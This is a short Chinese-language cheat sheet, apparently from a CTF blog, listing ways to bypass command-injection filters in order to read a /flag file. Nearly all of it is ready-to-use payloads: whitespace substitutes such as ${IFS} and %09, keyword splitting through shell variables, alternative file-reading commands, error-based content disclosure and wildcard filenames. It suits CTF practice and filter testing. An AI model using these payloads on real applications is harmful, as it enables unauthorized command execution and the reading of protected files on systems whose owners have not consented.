绕过手法
First Post:
Last Update:
Last Update:
示例:cat /flag
空格绕过
- 制表符%09,
cat%09/flag - <,
cat</flag,;cat%3C/flag - {},
{cat,/flag} - ${IFS},
cat${IFS}/flag - $IFS$9,
cat$IFS$9/flag
同一种绕过方法可能小概率会因为linux系统版本不同失效
过滤关键字,例如cat
- 拼接绕过,
a=ca;b=t;$a$b /flag - 命令替换绕过,
more:一页一页的显示文件内容,more /flag
less:与 more 类似,less /flag
head:查看头几行head /flag
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示tac /flag
tail:查看尾几行tail /flag
nl:显示的时候,顺便输出行号nl /flag
od:以二进制的方式读取档案内容od /flag,有些问题没有解决
vi:编辑器命令
vim:编辑器命令
sort: 排序命令,可以查看sort /flag
uniq: 可以查看uniq /flag
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
过滤目标文件
使用通配符 ?, *代替